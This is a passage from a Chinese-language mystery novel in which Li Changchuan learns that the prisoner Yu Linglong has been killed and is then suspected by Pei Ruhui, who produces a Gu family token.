她不是冷血,只是奇怪为何女孩就信了曲悬音的大话,坚信她是无所不能的神医。趁着马车还没开走的间隙,李长川匆匆道:“去找沈医士吧,他一定有法子救你阿姐。”
女孩似是被抽去了最后一丝力气,绝望地跌坐在地上,眼神空洞地望向马车离去的方向:“没用的,没用的……阿姐说了,男人都不可信……”
“死了?!”
“死了。”
李长川难得见裴如晦露出了愁容,心也跟着提了起来。
这鬼地方治安这么差?有人看着还能随便动手杀人,怎么她开局的生存环境就这么危险呢?
“那……尸体现在在哪?需要我验尸吗?”
“已经埋了,验尸就不用了。”
李长川没细究不用验尸的原因,“为何大人笃定是他杀而非自杀?玉玲珑畏罪自戕也并非绝无可能。”
裴如晦伸出手,赫然是一块令牌。
那是顾家的印信。
“那处私宅除了我、悬音和唐弃知道外,只关过你和玉玲珑。”
“我很难不怀疑你啊,李大小姐。”